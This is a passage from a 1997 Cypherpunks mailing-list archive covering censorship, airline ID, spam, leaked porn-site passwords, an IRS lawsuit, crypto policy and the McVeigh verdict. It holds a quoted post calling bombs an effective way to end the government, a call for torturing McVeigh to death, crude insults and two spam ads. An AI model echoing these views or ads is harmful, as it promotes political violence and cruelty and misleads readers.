2.6.3a Charset: noconv iQCVAwUBM5atg9GJlWF+GPx9AQGbDAP/eTXxm6GXvDRlEltMI7HYH95qO45NxME2 L8J/q0FKDwPlH9gIWHUoKQO/5SxzQfJf9kmnyY4qgo7dxpB7W8IAg9bHMWCiv8G7 kTI4rEFhfBQj+rnXS3hTSgR95CRL6vbjgz4k/ojvRTKMucAVehiymhj5TBaw1FRl F/OKkaPFjAM= =IKeA -----END PGP SIGNATURE----- From lucifer at dhp.com Thu Jun 5 20:36:04 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 5 Jun 1997 20:36:04 -0700 (PDT) Subject: Dimitri McVeigh Message-ID: <199706060336.XAA23074@dhp.com> Adam Back wrote: > Hallam-Baker writes: > > I'll accept that the ranting faction do some good work but I've > > not seen anything usefull out of either Bell or Vulis unless that > > is you are an FBI agent looking to get a promotion from Freeh. > Dimitri rights code sometimes. He wrote a cancel-bot. Very > constructive piece of work in an indirect way. See: having nice > freely available cancel-bots enables technically clueless, would > be-censors to censor more. They censor more, and cause a nuisance for > themselves sending out tons of cancel messages. This incentivizes > more and more people to ignore cancels (the trend in news > administration these days I understand is to ignore cancels entirely), > which means that you can't have your USENET posts censored nearly as > easily. Dimitri has long pushed the envelope of censorship and challenged those who don't like it to do something about it. The reason that Hallam-Baker is able to post thinly veiled "Dimitri is a cocksucker!" messages to the list is because Dimitri refused to lay down and quit when he was forcibly censored for his "Gilmore is a cocksucker!" messages. If the censorship coupe d'etat had succeded, then Hallam-Baker's post would have been trashed into the flames list. Dimitri and others, such as the Freedom-Knights, made it possible to "route around" the censorship of USENET posts to such an extent that any attempt I might make to censor Hallam-Baker's demeaning of Dimitri on USENET would have little effect. The bottom line is that Hallam-Baker's demeaning of Dimitri without facing censorship on this list and on USENET is partly the result of the efforts of Dimitri, himself, to fight censorship. This is not surprising, since, after all, Dimitri is a cypherpunk. (Despite all of his claims to the contrary.) TruthMonger From whgiii at amaranth.com Thu Jun 5 06:43:41 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 21:43:41 +0800 Subject: To ID or Not to ID that is the question Message-ID: <199706051338.IAA01329@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <3.0.2.32.19970605042555.00712ad0 at mail.atl.bellsouth.net>, on 06/05/97 at 04:25 AM, "Robert A. Costner" said: >I'm curious where the people here stand on such a policy. Do you feel >that positive ID to fly on a plane should be permissable? How about a >law to put a stop to it? The answer to bad laws is not more laws. There are two separate issues here and it is important to separate the two: 1) Government mandated ID requirements for Airline Travel. This is truly evil. It violates several protected rights under the constitution and is just plain un-american. Who I am and where I go and how I get there is non of their dam business. 2) Individual Airlines requiring ID as part of there security protocols. This I have no problems with as it is there planes and they may adopt whatever security policies they wish. If Delta wishes to require full body cavity searches before boarding their planes more power to them. No one is forcing you to fly with them. There are many things that are forbiden for the Federal Governmnet to do that are acceptable for individual companies. This is a good example of just that. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5bBG49Co1n+aLhhAQHPAQQAm9A0DUjzTyFWvXOeKO6+lDODQQ0lUoKI SjkQrvBwhfIU5SjLqO1bC6CVU9ad5Gn00PBuYj2JPxPJPT1PulaLKud3bA+1jy74 UTe/8gN+Iv534YheHFoabr3MlIvaeGFyiRJTnaKwX3UG/26v3RuoWA6k1Apzz8fC i78iHAvg7sc= =o0Qp -----END PGP SIGNATURE----- From whgiii at amaranth.com Thu Jun 5 06:54:20 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 21:54:20 +0800 Subject: My messages & CC: 's Message-ID: <199706051344.IAA01411@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- Hi, For those of you that may be responding to some of my post you should be aware that the To: & Cc: lines are being modified. This is being done by my PGP auto-encrypt scripts. A complete distributution list is provided in the header of the message on the X-Distributution: line. This is just to make you aware that even though your address is the only one in the To: or Cc: lines the message may have been distributed to others including to one of the cypherpunks list. Please check the X-Distribution: line before assuming that it is a private correspondence. Thanks, - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5bDE49Co1n+aLhhAQGUiQQAgQ8TF/Ww7Qt7HyAIUtkv7jY5QG32x20g T0miyjDAZ8qgA0QcjoTdt+JcJLexG76wdj5GR3XWdYtX24RyqUD3CNHPTnTufQmN fIebZOt+WcewQggB31jm5L+Vp7BiJfdzUuW90XVzM5yGSFjF91Rg/9KXFpe/a8Xv nCy/dTYQ0l8= =j3lG -----END PGP SIGNATURE----- From ravage at EINSTEIN.ssz.com Thu Jun 5 06:55:43 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Thu, 5 Jun 1997 21:55:43 +0800 Subject: Government money, Net picketing, and public fora (fwd) Message-ID: <199706051315.IAA05428@einstein.ssz.com> Hi, Forwarded message: > Date: Thu, 5 Jun 1997 00:27:04 -0400 (EDT) > From: Declan McCullagh > Subject: Government money, Net picketing, and public fora > Unfortunately, Jim has no idea what he's talking about. Accepting public > money does not magically turn something into a public forum. > > I'm not sure how I can get this idea through. Unfortunately, Declan has no idea what he's talking about. Accepting public money does increase the criminal and civil obligations of the recipient as well as providing a lever for 3rd parties to become involved on civil grounds. I'm not sure how I can get this idea through. _______________________________________________________________________ | | | Speak the truth, but leave immediately after. | | | | Slovenian Proverb | | | | Jim Choate ravage at ssz.com | | The Armadillo Group www.ssz.com | | Austin, Texas, USA 512-451-7087 | |_______________________________________________________________________| From dlv at bwalk.dm.com Thu Jun 5 07:20:31 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 22:20:31 +0800 Subject: Spam costs and questions In-Reply-To: Message-ID: <2VoT8D9w165w@bwalk.dm.com> Bill Frantz writes: > At 12:45 PM -0700 6/4/97, Declan McCullagh asked: > > What are the costs to consumers of > > unsolicited e-mail? I guess the time it > > takes to delete it might be one, hard > > drive space might be another. I would > > like to know how to quantify it, and > > compare it with the cost of sending > > e-mail. > > I don't think the costs of the 1-3 spam messages I get each day is > significant. (But I don't post to Usenet.) I post moderately heavily to Usenet (10-10 articles / week). All the UCE I get is much less in volume that, e.g., the traffic from the Cypherpunks mailing list. In some weeks it's only 1 or 2 pieces. I may be getting so little UCE because I've asked Wallace to remove me from his mailing list, so I only get it from "rogue rogues". It takes me no material time to browse the subject lines and to skip the UCE. (Sometimes I do read the UCE - some of the products they've advertised sounded interesting to me). Nor am I paying to receive anything. (Given that I get mailbombed pretty regularly, I wouldn't go for anything other than flat rate.) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Jun 5 07:22:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 22:22:14 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: Message-ID: <0RoT8D8w165w@bwalk.dm.com> Declan McCullagh writes: > I was having dinner with Don Haines, a friend of mine who's a legislative > counsel with the national ACLU, when the McVeigh verdict came down. > > A Canadian prosecutor who was having dinner with us said: "So McVeigh did > it after all." > > Don replied: "No. He was found guilty of the crime." > > There is a difference. Not to a journalist whore. :-) --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rah at shipwright.com Thu Jun 5 07:22:44 1997 From: rah at shipwright.com (Robert Hettinga) Date: Thu, 5 Jun 1997 22:22:44 +0800 Subject: Password pirates plunder XXX sites, from The Netly News In-Reply-To: <199706050200.EAA15007@basement.replay.com> Message-ID: At 10:00 pm -0400 on 6/4/97, Anonymous wrote: > There is an easy solution to this problem. Just use one-time passwords. > Put it in a cookie. Every time the customer accesses the service you give > him a new one. He doesn't have to do anything. If he gives his password > away it won't work for him any more. And, of course, the penultimate solution to the *whole* problem is cash payment for every video feed. :-). In addition, if the government was out of the copyright/patent monopoly-granting business (for some reason ;-)), you could even re-distribute these things with recursive auctions. The person who has posession of a whole MPEG file copy then has more incentive to just resell his copy, again for cash, and probably for multiple times, than to give it away and not get even some of his money back. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ From sja at tekla.fi Thu Jun 5 07:25:03 1997 From: sja at tekla.fi (Sakari Jalovaara) Date: Thu, 5 Jun 1997 22:25:03 +0800 Subject: nude gifs plz Message-ID: <9706051358.AA13925@poveri.tekla.fi> > plz sends da gifz of naked chicks!!! http://slis6000.slis.uwo.ca/~sadem/chicks.htm ++sja From dee at cybercash.com Thu Jun 5 07:25:22 1997 From: dee at cybercash.com (Donald E. Eastlake 3rd) Date: Thu, 5 Jun 1997 22:25:22 +0800 Subject: Password pirates plunder XXX sites, from The Netly News In-Reply-To: Message-ID: Although you can never completely eliminate it, technological fixes to do velocity checking, source IP address profiling, etc., seem so obvious I just don't see how this can be any sort of insurmountable problem... It should have been obvious from the start that you would have a lot more people trying to steal service from a porn site than from, say, a Disney site. Donald On Wed, 4 Jun 1997, Robert Hettinga wrote: > Date: Wed, 4 Jun 1997 23:47:10 -0400 > From: Robert Hettinga > To: dcsb at ai.mit.edu > Subject: Password pirates plunder XXX sites, from The Netly News > > --- begin forwarded text > > Date: Wed, 4 Jun 1997 12:01:22 -0700 (PDT) > From: Declan McCullagh > To: cypherpunks at toad.com > Subject: Password pirates plunder XXX sites, from The Netly News > MIME-Version: 1.0 > Sender: owner-cypherpunks at cyberpass.net > Precedence: bulk > Reply-To: Declan McCullagh > X-Loop: cypherpunks at cyberpass.net > > [We include links to sites with porn passwords in today's story, BTW. > --Declan] > > ******* > > http://cgi.pathfinder.com/netly/opinion/0,1042,1015,00.html > > The Netly News Network (http://netlynews.com/) > June 4, 1997 > > Porn Free > by Chris Stamper and Greg Lindsay (thenetlynews at pathfinder.com) > > Sexfilms.com used to be a small, members-only adult site > that shipped full-frame videos over a super-fast T-3 line. Traffic on > the site was comfortably low for about a year, owner Ray Alba says, > until one name -- "Joe Camaro" -- started appearing with some > frequency. Actually, it started appearing 500 times a minute. From > Sweden, Japan, Hong Kong, Singapore -- just about anywhere. Somebody > was passing out the password. > > Download speeds faltered, from 300K/sec to 6K/sec. And then the > servers themselves began to crash. Finally, Alba had to shut down the > site for several weeks to clear out Camaro and numerous other accounts > that had leaked out to the Net. Alba was the latest victim of... Porn > Piratz! > > A huge number of passwords to pay-only porn sites are loose on > the Net. Just surf newsgroups like alt.sex.passwords or do a simple > search through a typical web engine and long lists of logins are easy > to find. Some of these logins are giveaways from people who ponied up > the low, one-time-only flat fees that many sites charge. Others, > apparently, were obtained with phony credit card numbers. Who knows > how Porn Piratz get the rest. But they do: A Hustler executive told us > that Hustler's sites have seven times its paid membership logging on > every day. > > [...] > > --- end forwarded text > > > > ----------------- > Robert Hettinga (rah at shipwright.com), Philodox > e$, 44 Farquhar Street, Boston, MA 02131 USA > "... however it may deserve respect for its usefulness and antiquity, > [predicting the end of the world] has not been found agreeable to > experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' > The e$ Home Page: http://www.shipwright.com/ > > > > For help on using this list (especially unsubscribing), send a message to > "dcsb-request at ai.mit.edu" with one line of text: "help". > ===================================================================== Donald E. Eastlake 3rd +1 508-287-4877(tel) dee at cybercash.com 318 Acton Street +1 508-371-7148(fax) dee at world.std.com Carlisle, MA 01741 USA +1 703-620-4200(main office, Reston, VA) http://www.cybercash.com http://www.eff.org/blueribbon.html From dlv at bwalk.dm.com Thu Jun 5 07:25:54 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 5 Jun 1997 22:25:54 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <19970605010358.20968@bywater.songbird.com> Message-ID: Kent Crispin writes: ... > Clinton has a *very* successful career as a politician, and has done > a great deal for Intel, in that role. And he is a great family man > who also gets along well with a host of people. ... LOL. Almost ROTFL. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From jya at pipeline.com Thu Jun 5 07:26:18 1997 From: jya at pipeline.com (John Young) Date: Thu, 5 Jun 1997 22:26:18 +0800 Subject: IRS Hit Message-ID: <1.5.4.32.19970605134956.008db240@pop.pipeline.com> 5 June 1997, NYP: A federal judge in Denver has awarded $250,000 in punitive damages to a woman whose family business was raided by armed Internal Revenue Service agents four weeks after the woman insulted an IRS agent. The revenue agents padlocked all three Kids Avenue clothing stores in Colorado Springs, and posted notices that some customers interpreted as evidence that the woman, Carole Ward, 49, was a drug smuggler. In a harshly worded 17-page opinion, Judge William Downes of the U.S. District Court in Denver found that one of the IRS agents, James Dolan, was "grossly negligent" and acted with "reckless disregard" for the law, and that he made three false statements in a sworn declaration. The judge, who said the actions by the IRS agents violated Ms. Ward's privacy rights, wrote that the punitive damages award "gives notice to the IRS that reprehensible abuse of authority by one of its employees cannot and will not be tolerated." ----- Full story at: http://jya.com/irshit.htm From realwomen at dateline.net Thu Jun 5 22:29:16 1997 From: realwomen at dateline.net (realwomen at dateline.net) Date: Thu, 5 Jun 1997 22:29:16 -0700 (PDT) Subject: Real women, Hot date line all50 states !!! Message-ID: <5544uld433-812@options.com> Cybersex is only for those with no life A= In between girlfriends, or B= a BITCH for a wife Find real woman that are SOFT, SEXY, & SWEET No more stroking your keyboard, or beating your meat HOT women, Hot dates, in every town in ALL 50 STATES !!! Call now........ DISCOVER HOW !!............ 1-900-378-5433 Satisfaction is only a phone call away !!! Must be 18 or older to call 2.99 per minute. From whgiii at amaranth.com Thu Jun 5 07:54:19 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Thu, 5 Jun 1997 22:54:19 +0800 Subject: IRS Hit Message-ID: <199706051429.JAA02097@mailhub.amaranth.com> -----BEGIN PGP SIGNED MESSAGE----- In <1.5.4.32.19970605134956.008db240 at pop.pipeline.com>, on 06/05/97 at 08:49 AM, John Young said: >In a harshly worded 17-page opinion, Judge William Downes of the U.S. >District Court in Denver found that one of the IRS agents, James Dolan, >was "grossly negligent" and acted with "reckless disregard" for the law, >and that he made three false statements in a sworn declaration. So why is James Dolan still working for the IRS? Why is he not under enditement for perjury? Oh I forgot Federal Agents are "just a group of humans" so I guess we shouldn't expect the laws of the land to apply to them. - -- - --------------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBM5bMt49Co1n+aLhhAQGn0wQAuG0n4ppXx5QdtNQrrcB4drcbkbDkpcdV 0L28z5zWbbidfz2Mq8wS2HLG01NLPd/6NFDF8EYpezBfpGv9O3SIm3WvhbzhvJOP jEVGUZdNVM+RA3gAMzrBMoiEiIrFfaFO/3615dSHPLpa3NWmbf+QDnVRXFIO1Rxp kFttB1pjRjM= =Vx80 -----END PGP SIGNATURE----- From trei at process.com Thu Jun 5 08:25:55 1997 From: trei at process.com (Peter Trei) Date: Thu, 5 Jun 1997 23:25:55 +0800 Subject: Interesting article. Message-ID: <199706051449.JAA05813@einstein.ssz.com> Full story at http://www.news.com/News/Item/0,4,11249,00.html?latest Leaders want crypto rules lifted. By Reuters June 5, 1997, 7 a.m. PT WASHINGTON--Computer industry captains called on President Clinton yesterday to drop efforts to regulate data-encryption technologies, a move the FBI warned would cripple law enforcement and leave the country more vulnerable to terrorism. In an open letter to Clinton, Bill Gates, chairman and chief executive officer of Microsoft, and 12 other industry titans said U.S. competitiveness in electronic commerce was at stake in the debate. ---------------- Peter Trei From frantz at netcom.com Thu Jun 5 08:55:56 1997 From: frantz at netcom.com (Bill Frantz) Date: Thu, 5 Jun 1997 23:55:56 +0800 Subject: IRS Hit In-Reply-To: <1.5.4.32.19970605134956.008db240@pop.pipeline.com> Message-ID: At 6:49 AM -0700 6/5/97, John Young wrote: >5 June 1997, NYP: > >A federal judge in Denver has awarded $250,000 in punitive >damages to a woman whose family business was raided by armed >Internal Revenue Service agents four weeks after the woman >insulted an IRS agent. > >... > >Full story at: > > http://jya.com/irshit.htm A drop in the bucket for the IRS. Now if the agent personally had to pay, there might be some deterent value. (I note that a 1983 case still has not been payed.) ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From frantz at netcom.com Thu Jun 5 08:58:41 1997 From: frantz at netcom.com (Bill Frantz) Date: Thu, 5 Jun 1997 23:58:41 +0800 Subject: McVeigh? Nimrods..... In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: At 3:50 PM -0700 6/4/97, Paul Bradley wrote: >> Like my fellow Santa Clara County Resident Bill Frantz said : >> >> For cypherpunks this comes down to: Make code, not bombs. > >True, code will lead to further liberation in the virtual communities, >but bombs are an effective device for ending the corrupt tyrannical >government that rules us. It is my contention that, in the present circumstances, bombs are not effective devices for ending the corrupt tyrannical government which rules us. They are much more likely to make enemies for "our cause" than they are to physically stop the government. Does the phrase, "Bomb throwing anarchist" give you the feeling of hero, or of villain? Most people will answer villain, and killing people is not likely to change their minds. ------------------------------------------------------------------------- Bill Frantz | The Internet was designed | Periwinkle -- Consulting (408)356-8506 | to protect the free world | 16345 Englewood Ave. frantz at netcom.com | from hostile governments. | Los Gatos, CA 95032, USA From sunder at brainlink.com Thu Jun 5 09:31:23 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Fri, 6 Jun 1997 00:31:23 +0800 Subject: McVeigh In-Reply-To: Message-ID: On Wed, 4 Jun 1997, Paul Bradley wrote: > Yes, he is guilty of murder and I would favour torturing him to death > slowly, this is not emotional reactionism, merely a desire for justice > and fair punishment. You do not know for a fact if he is guilty of murder. You only know that he was judged guilty. Whatever the truth is, you and I, and everyone else discussing this, cannot know. McVeigh himself knows if he did it. Witnesses (if any) would also know. This is all speculation. If indeed he is guilty, it's a fair trade. X number of lives for his own, for his cause, etc. IMHO justice is what you make of it. Were you in any way affected by his actions? Did you lose relatives in that bombing? Personally, I didn't. I don't call for slow torture because to me, it isn't justice or injustice. I was not affected by his actions. If he did set off the bomb, life in death, or execution is a valid punishment. I do question your reasoning for calling for torture though. How is that fair punishment and justice? =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian | "Boy meets beer. Boy drinks Beer, |./|\. ..\|/..|sunder at sundernet.com| Boy gets another beer!" |/\|/\ <--*-->| ------------------ | |\/|\/ ../|\..| "A toast to Odin, | For with those which eternal lie, with |.\|/. .+.v.+.|God of screwdrivers"| strange aeons, even death may die. |..... ======================== http://www.sundernet.com ========================= From nicol at highway1.com.au Thu Jun 5 09:42:02 1997 From: nicol at highway1.com.au (Peter Nicol - VRL / BroomStick Productions) Date: Fri, 6 Jun 1997 00:42:02 +0800 Subject: (Fwd) RE: McVeigh? Nimrods..... Message-ID: <199706051628.AAA15396@hedgehog.highway1.com.au> At 3:50 PM -0700 6/4/97, Paul Bradley wrote: >> Like my fellow Santa Clara County Resident Bill Frantz said : >> >> For cypherpunks this comes down to: Make code, not bombs. > >True, code will lead to further liberation in the virtual communities, >but bombs are an effective device for ending the corrupt tyrannical >government that rules us. It is my contention that, in the present circumstances, bombs are not effective devices for ending the corrupt tyrannical government which rules us. They are much more likely to make enemies for "our cause" than they are to physically stop the government. Does the phrase, "Bomb throwing anarchist" give you the feeling of hero, or of villain? Most people will answer villain, and killing people is not likely to change their minds. Anyone head of Non-Violent Action (NVA) ? Seems to me writing and disseminating Code is a pretty effective form of NVA Peter Nicol Global Media Magnet nicol at iap.net.au 019 111 943 "Nonlinear models differ form linear ones in a number of ways. Rather than trying to figure out all the chains of causality, the modeler looks for nodes where feedback loops join and tries to capture as many of the important loops as possible in the system's "picture." Rather than shaping the model to make a forecast about future events or to exercise some central control, the nonlinear modeller is content to perturb the model, trying out different variations in order to learn about the system's critical points and its homeostasis (resitance to change). The modeler is not seeking to control the complex system by quantifying it and mastering its causality; she wants to increase her "intuitions" about how the system works so she can interact with it more harmoniously." From jya at pipeline.com Thu Jun 5 10:18:48 1997 From: jya at pipeline.com (John Young) Date: Fri, 6 Jun 1997 01:18:48 +0800 Subject: Body Bunker Usage Message-ID: <1.5.4.32.19970605170229.008ee9c8@pop.pipeline.com> We offer excerpts from the Federal Law Enforcement Training Center "Catalog of Training Programs FY 1997-98": Financial Fraud Institute The FFI takes the proactive role of arming the student with specialty skills and techniques to develop solid prosecutable cases in a range of crimes. Included are crimes involving government contracts, procurement fraud, illegal tax shelters, complex financial transactions supporting terrorism and criminal conspiracies, asset removal/seizures, money laundering activities involving drug smuggling organizations and other illegal enterprises, insurance frauds, electronic funds transfer fraud, and employee embezzlement. Also addressed in training are technical crimes involving computers and networks such as unauthorized access to government data systems and complex fraud cases using or involving computer systems. Training programs: Computer Evidence Analysis Criminal Investigations in an Automated Environment Financial Crimes Investigations Financial Forensics Techniques International Banking and Money Laundering International Financial Fraud Microcomputers for Investigators Money Laundering and Asset Forfeiture Seized Computer and Evidence Recovery Specialist Telecommunications Fraud White Collar Crime Windows Applications for Investigations http://jya.com/ffi.htm (34K) ----- Security Specialties Division The design, development, and conduct of courses relating to antiterrorism, physical security, and officer safety and survival is the prime mission of the Security Specialties Division (SSD). Courses include; Bombs and Explosives, Personal Protection, First Response, Handling Sensitive/ Classified Information, Criminal Information/Intelligence, Officer Safety and Survival, Physical Security, Surviving Hostage Situations, and Weapons/Explosive Detection. Training programs: Advanced Physical Security Antiterrorism Contingency Planning Antiterrorism Management Criminal Intelligence Analyst Crisis Management First Response Officer Safety and Survival Physical Security Managers Protective Security Operations Seaport Security/Antiterrorism http://jya.com/ssd.htm (22K) ----- The former addresses, among others, "encryption/decryption, disguised data, data hidden by programming techniques, hackers and phreakers." The latter addresses, among others, "left-wing terrorism, right-wing terrorism, animal rights and environmental extremists, assassinations and body bunker usage." From hallam at ai.mit.edu Thu Jun 5 10:20:18 1997 From: hallam at ai.mit.edu (Phillip M. Hallam-Baker) Date: Fri, 6 Jun 1997 01:20:18 +0800 Subject: Password pirates plunder XXX sites, from The Netly News Message-ID: <199706051708.NAA09369@life.ai.mit.edu> >Although you can never completely eliminate it, technological fixes to do >velocity checking, source IP address profiling, etc., seem so obvious I >just don't see how this can be any sort of insurmountable problem... Agreed but see bellow >It should have been obvious from the start that you would have a lot more >people trying to steal service from a porn site than from, say, a Disney >site. I think the problem is that a large number of the people who run porn sites are neither technically sophisticated nor well funded. I suspect that many do not know how to write a program and can't afford hiring someone to do it for them. Its a business where there are low barriers to entry and there are a very large number of competitors. One way of discouraging new entrants is to claim that there are major technical problems... Phill -------------- next part -------------- A non-text attachment was scrubbed... Name: bin00000.bin Type: application/octet-stream Size: 271 bytes Desc: "smime.p7s" URL: From tcmay at got.net Thu Jun 5 10:21:40 1997 From: tcmay at got.net (Tim May) Date: Fri, 6 Jun 1997 01:21:40 +0800 Subject: "Clinton has done a great deal for Intel"--more trolling In-Reply-To: <01BC70D6.40D6C320@chrisd@loc201.tandem.com> Message-ID: At 1:03 AM -0700 6/5/97, Kent Crispin wrote: >Clinton has a *very* successful career as a politician, and has done >a great deal for Intel, in that role. And he is a great family man ^^^^^^^^^^^^^^^^^^^ >who also gets along well with a host of people. Another absurdity. Clinton is the President. There is _nothing_ of any significance Intel has ever sought from the government. Except for the government to get off its back. When I was there the government was in fact very frustrated with Intel for not entering the "mil-spec" market in any serious way. The government wanted to buy 8080s, 8086s, etc., and we said, "Fine, send us an order. We'll even charge you $500 more per chip if you want us to shake them around at a lot of Gs, cook 'em in a pressure pot, and then stamp them "MIL-SPEC." We refused government contracts. I did some volunteer work (a few days) for them on directed energy weapons, some work for DARPA and the Naval Research Lab, but there was no charge for this, and certainly no "help" for Intel from the then-President. Intel also was a reluctant participant in the g-job labs, including the MCC in Austin (never a real member), and only in the last few years has it bowed to the inevitable by undertaking some joint efforts with the labs it has so heavily been taxed for. To call this "help from Clinton" is absurd. (By the way, Andy Grove and Gordon Moore were supporters of Bush in '92 and of Dole in '96. They actively opposed the "Clinton-friendly lobby" in the Valley, the John Sculleys and whatnot who hobnobbed with Clinton. Clinton I'm sure does not see Intel as his ally in any way.) More trolling from Crispin. Why am I not surprised? ---Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From jim.burnes at ssds.com Thu Jun 5 10:41:26 1997 From: jim.burnes at ssds.com (Jim Burnes) Date: Fri, 6 Jun 1997 01:41:26 +0800 Subject: [CONTROVERSIAL]: A Defense of Terrorism In-Reply-To: Message-ID: On Wed, 4 Jun 1997, Dr.Dimitri Vulis KOTM wrote: > Rant: I think Joseph Stalin was a cool guy, even though he had my great-grandpa > shot (who was btw a U.S. citizen). > > One of the many interesting contributions Joe Stalin made to the Marxist > theory was the observation that the class struggle intensifies as the > old mode of production becomes obsolete; and that there's really no difference > between "terrorist acts" and government-sponsored violence and economic > deprivation. You might view the second statement as the generalization of > Klauzewitz's (or Bismarck's?) maxim that war is the continuation of foreign > policy by other means. Well couldn't class struggle simply mean the difference between wielding large quantities of power and not. If thats the case then Stalin was the ultimate hypocrite when his wonderful revolution attained of temporary system of government. That system of government was unstable in that in failed to allow people to provide for their own and each other's welfare through free market activity. As resistance to centralized modes of production increased (especially with the farmers), the central government systematically starved 20 million people to death. Reminds me a lot of Orwell's "Animal Farm". Though I do agree in principle with the idea that corruption runs rampant at the end of a megapolitical era (for more or less the same reasons), Stalin was not the first to have this idea. For a run-down on this concept check out the much-maligned "Sovereign Individual". > Consider, for example, a Black child in the United States who dies of > a trivial curable disease because of the lack of health care. Consider > the child's parents who labor "off the books" in menial jobs, who are > deprived by the state from the ability to marry, to work "on the books", > to hold a bank account, et al. Is being deprived from the results of one's > labor that different from being sold at an auctioned and whipped in > a public ceremony to terrify other (wage) slaves? > No. I agree with you here. I think the difference is in the resolve of the individuals under this kind of pressure. > Joe Stalin himself took part in several spectacular terrorist acts in > his youth, which resulted in deaths of dozens of "innocent bystanders". make that millions > Prepare for crypto to be criminalzed. definitely. but under what system of law? for all practical purposes the constitution is null and void. the people that run this country do so under the guise of constitutionalism, but its all a grand facade. the whole idea of the current government is a type of consensual reality. (literally so, perhaps?) When enough people agree that the version of reality no longer serves them, they will agree that it doesn't exist. This, of course, assumes they have the power to alter it. > Prepare for the former cpunks who > "sold out" (C2Net and the like) to support criminalization of crypto use > within the U.S. in exchange for a possible relexation of export rules. I'm not sure I understand why you assert that C2Net "sold out". I was probably out of town at the time this discussion went down. Jim Burnes From 20797248 at bbtt.de Fri Jun 6 02:21:36 1997 From: 20797248 at bbtt.de (20797248 at bbtt.de) Date: Fri, 6 Jun 1997 02:21:36 -0700 (PDT) Subject: FREE GIFT & UP TO 4.9% APR VISA/MASTERCARD Message-ID: <1JYFD552@uva-uuxxx.net> 


                                LOW INTEREST CREDIT CARDS

If you have been denied a credit card OR you are paying more than 10%  APR on 
                   your credit card, you should take time to read this. 

              YOU COULD QUALIFY FOR A LOW INTEREST CREDIT CARD 
                    WITH NO ANNUAL FEES............AS LOW AS 4.9% APR 

Dear friend,

If you're currently using a high-interest MasterCard or Visa credit card, you could be 
paying an Annual Percentage Rate as much as 19.8%. By transferring the current 
balances from your high-interest rate MasterCard, Visa, Discover or Optima(sm) cards
 to your new low-rate credit card, you can begin saving money immediately. 
For example, *first year savings with a 5.9% APR credit card is : 
_____________________________________________                             
  					               
 If your average   And your current APR is....                       
   balance is....       15.9%             17.4%             19.8%  
                                                                                               
                             you save        you save         you save
_____________________________________________                                      
                                                                                               
  $2,000               $155               $185                $233    
                                                                                               
  $3,000               $220               $265                $337   
                                                                                               
  $5,000               $350               $425                $545                                                                                                
_____________________________________________                            				

* First year savings based on a constant balance with a 5.9% APR for six 
  months and a 12.9% APR for six months, plus a $25 annual fee savings.

We know that saving money is important to you. That's why the staff at 
Credit Business Systems works tirelessly to provide to you some of the 
best credit card values in the nation depending on your credit profile.               
The CREDIT CARD GUIDE contains all the necessary information 
for individuals who have been denied credit and cardholders who are 
paying more than 10% APR.
             
